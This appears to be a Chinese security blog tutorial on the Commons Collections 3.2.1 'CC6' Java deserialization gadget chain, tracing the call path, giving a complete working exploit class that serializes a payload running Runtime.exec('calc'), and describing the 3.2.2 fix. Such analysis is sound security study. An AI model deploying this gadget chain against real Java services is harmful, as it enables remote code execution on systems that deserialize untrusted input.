Commons-Collections-CC6链

0x01 环境搭建

Commons Collections 3.2.1(3.2.2 起默认禁止危险 Functor 类的序列化与反序列化)

在 JDK 8 的常见版本中,CC6 不依赖 CC1 所使用的 AnnotationInvocationHandler 旧实现,但仍受 Commons Collections 版本、运行环境和其他防护条件限制。

0x02 CC6攻击链分析

2.1. 找到尾部

1
2
3
4
5
尾部还是用到了InvokerTransformer,可以反射调用任意类,就可以执行任意方法

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

2.2. 初步找链子

1
2
3
4
5
6
7
8
9
10
11
org.apache.commons.collections.map.LazyMap#get 调用了transform()方法,其实就跟CC1链哪里一样了

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

1
2
3
4
5
6
7
然后找一下那个类调用了get()方法,直接参照ysoserial cc6怎么写的,其中TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法。

TiedMapEntry.hashCode() 设计时为了保证键值对的哈希值唯一性,会同时计算 key 和 value 的哈希值,所以调用getValue()获取 value

public Object getValue() {
return map.get(key);
}

1
2
3
4
5
6
可以通过构造函数进行传值
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

image-20260311224259320

尝试弹一下计算器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 构造 Transformer 链,最终目的是执行 Runtime.getRuntime().exec("calc")
Transformer[] transformers = {
// 第一步:获取 Runtime.class 对象
new ConstantTransformer(Runtime.class),
// 第二步:调用 Runtime.class 的 getMethod("getRuntime"),返回 Method 对象
new InvokerTransformer("getMethod"
, new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
// 第三步:调用 method.invoke(null),实际执行 Runtime.getRuntime(),返回 Runtime 实例
new InvokerTransformer("invoke"
, new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
// 第四步:调用 runtime.exec("calc"),执行计算器程序
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"}),};

// 将 Transformer 数组组合成链式 Transformer,按顺序执行
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 创建一个空的 HashMap
HashMap<Object, Object> hashmap = new HashMap<>();
// 使用 LazyMap 装饰 hashmap,设置转换器为 chainedTransformer
// 当访问 LazyMap 中不存在的 key 时,会调用 chainedTransformer 进行计算
Map lazyMap =LazyMap.decorate(hashmap,chainedTransformer);

// 创建 TiedMapEntry,将其与 lazyMap 绑定,key 设置为 "1"
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");

// 调用 TiedMapEntry 的 getValue() 方法
tiedMapEntry.getValue(); // 这会触发 lazyMap.get("1"),进而触发 chainedTransformer 执行命令链

1
2
3
4
5
6
7
8
往上去找谁调用了 TiedMapEntry 中的 getValue() 方法,寻找到同名函数下的 hashCode() 方法调用了 getValue() 方法。


public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

image-20251104144034180

1
2
3
4
5
java.util.HashMap#hash 调用了hashCode() 方法,

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

image-20251104150002559

2.3. 寻找入口readObject()

那其实就跟URLDNS链一样了,最后找到了java.util.HashMap#readObject,因为readObject这里有个通过循环会为每一个序列化前的键值对调用了 putVal方法。而 putVal方法,里面又调用了hash()方法。

1
2
3
4
5
6
7
8
9
10
private void readObject(java.io.ObjectInputStream s)
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

image-20251104145650378

1
2
3
4
5
6
7
进入hash()方法,HashMap.hash() 设计的核心目的是计算 key 的哈希值以确定数组索引,所以必须调用key.hashCode()
`hash()` 判断 key 是否为空;如果不为空,就调用 `key.hashCode()`。

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

image-20251104180756250

1
既然反序列化时会循环处理键值对,就需要通过 `put()` 添加键值对,并将 `tiedMapEntry` 作为 key;`put()` 内部会调用 `putVal()`。

image-20251104151217391

readObject() 在反序列化过程中循环处理键值对,并为每一组数据调用 putVal()putVal() 正是 put() 内部执行插入逻辑的核心方法。下面构造测试代码验证调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc6 {

public static void main(String[] args) throws Exception {
// 1. 构造 Transformer 链,最终目的是执行 Runtime.getRuntime().exec("calc")
Transformer[] transformers = {
// 获取 Runtime.class 对象
new ConstantTransformer(Runtime.class),
// 调用 Runtime.class 的 getMethod("getRuntime"),返回 Method 对象
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
// 调用 method.invoke(null),实际执行 Runtime.getRuntime(),返回 Runtime 实例
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
// 调用 runtime.exec("calc"),执行计算器程序
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

// 2. 将 Transformer 数组组合成链式 Transformer
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 3. 创建一个 HashMap,用于构造 LazyMap
HashMap<Object, Object> hashmap = new HashMap<>();
// 使用 LazyMap 装饰 hashmap,当访问不存在的 key 时会调用 chainedTransformer
Map lazyMap = LazyMap.decorate(hashmap, chainedTransformer);

// 4. 创建 TiedMapEntry,其 key 为 "1",value 为 lazyMap
// 当 TiedMapEntry 的 hashCode/equals 被调用时,会触发 lazyMap.get("1")
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");

// 5. 创建用于攻击的 HashMap
HashMap<Object, Object> exp = new HashMap<>();
// 将 tiedMapEntry 作为 key 放入 HashMap
// 在反序列化过程中,HashMap 的 readObject 会调用 key.hashCode(),
// 进而触发 TiedMapEntry.hashCode() -> lazyMap.get("1") -> chainedTransformer -> 执行命令
exp.put(tiedMapEntry, "1");
}
}

image-20251104151257908

1
2
3
4
5
6
7
8
9
序列化的时候,就能够弹出计算器。
exp.put(tiedMapEntry, "1");就触发了putVal
然后就变成了putVal(hash(tiedMapEntry)-->tiedMapEntry.hashCode()--> LazyMap.get()--> Transformer.transform()触发。



public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

image-20260312102649661

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
所以可以先在执行 put()方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。那我们可以先序列化的时候传入没用的值,在反序列化的时候,通过反射在传入chainedTransformer,修改回其值。

Map lazyMap =LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");

改成--------------------------
移除lazyMap.remove("1"); 因为传入的是一个无害的 new ConstantTransformer(1),这个 get操作也会在 lazyMap的内部映射中存入键值对"key" -> 1.当反序列化流程再次执行到 lazyMap.get("key")时,由于 "key"已经存在于 lazyMap中,LazyMap会直接返回之前缓存的值(1),而不会执行你已经通过反射设置好的、真正的恶意 ChainedTransformer,导致利用链失效

Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");
HashMap<Object, Object> exp = new HashMap<>();
exp.put(tiedMapEntry, "2");
lazyMap.remove("1");

在反射修改值:
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

0x03 CC6** EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc6 {

public static void main(String[] args) throws Exception {
// 1. 先构造无害Transformer
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 2. 构造无害Transformer(临时用)
Transformer harmless = new ConstantTransformer(1);

// 3. 用无害Transformer构造LazyMap
HashMap<Object, Object> hashmap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashmap, harmless);

// 4. 创建TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test2");

// 5. 创建最终HashMap
HashMap<Object, Object> exp = new HashMap<>();
exp.put(tiedMapEntry, "test3"); // 这里用无害Transformer,不会触发

// 6. 删除缓存,确保后续触发
lazyMap.remove("test2");

// 7. 关键:序列化前用反射替换为恶意Transformer
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

// 8. 序列化
serialize(exp);

// 9. 反序列化
unserialize("ccc.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ccc.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

1
2
3
4
5
6
7
8
在 HashMap<Object, Object> expMap = new HashMap<>();这里打断点,会弹计算器了

在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 .toString() 方法,所以在创建 TiedMapEntry的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。s


public String toString() {
return getKey() + "=" + getValue();
}

image-20251104170839852

可以通过设置修改

image-20251104174459991

0x04 漏洞修复

4.1 Commons Collections >= 3.2.2 之后修复

1
3.2.2 及之后就修复了,底层原理:在 readObject 时增加了校验,除非开发者手动设置系统属性 org.apache.commons.collections.enableUnsafeSerialization 为 true,否则只要反序列化到这些危险类,直接抛出 UnsupportedOperationException 异常,如下图所示。

image-20260306181336747

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
可以在org.apache.commons.collections.functors.InvokerTransformer#readObject  处打断点
Commons Collections 3.2.2之后的InvokerTransformer的readObject()方法多了一个reFunctorUtils.checkUnsafeSerialization,如果没开启系统白名单属性,反序列化到这里当场抛异常报错。



static void checkUnsafeSerialization(Class clazz) {
String unsafeSerializableProperty;
try {
unsafeSerializableProperty = (String)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return System.getProperty("org.apache.commons.collections.enableUnsafeSerialization");
}
});
} catch (SecurityException var3) {
unsafeSerializableProperty = null;
}

if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) {
throw new UnsupportedOperationException("Serialization support for " + clazz.getName() + " is disabled for security reasons. " + "To enable it set system property '" + "org.apache.commons.collections.enableUnsafeSerialization" + "' to 'true', " + "but you must ensure that your application does not de-serialize objects from untrusted sources.");
}
}

image-20260306182610804

image-20260306183905777

1
对比 Commons Collections 3.2.1 的代码,`InvokerTransformer` 中不存在 3.2.2 新增的反序列化安全检查。

image-20260308044948440

0x05 总结

CC6 与 CC1 的关键区别是:经典 CC1 链依赖 AnnotationInvocationHandler 的旧实现,该路径在 JDK 8u71 后发生变化;CC6 使用 JDK 自带的 HashMap.readObject() 作为入口,因此不受这一处改动影响,但不能据此概括为在所有 JDK 和运行环境中都“无版本限制”。

**执行危险方法的尾链:**InvokerTransformer#transform 通过反射调用任意方法,是执行命令的​​最终点,这样我们就可以反射调用Runtime类,执行系统命令

过程:

1
2
3
4
LazyMap#get 调用了 transform() 方法
TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法
同名函数下hashCode() 方法调用了 getValue() 方法
HashMap#hash 调用了hashCode() 方法

**执行readObject() 方法的入口:**java.util.HashMap#readObject,通过循环,会为每一个序列化前的键值对调用了 putVal方法。而 putVal方法,里面又调用了hash()方法,hash方法调用了hashCode() 。

1
2
3
4
5
6
7
8
9
10
利用链路:
InvokerTransformer#transform
LazyMap#get
TiedMapEntry#getValue
TiedMapEntry#hashCode
HashMap#hash
HashMap#readObject
辅助链:
ConstantTransformer
ChainedTransformer

image-20251105094953665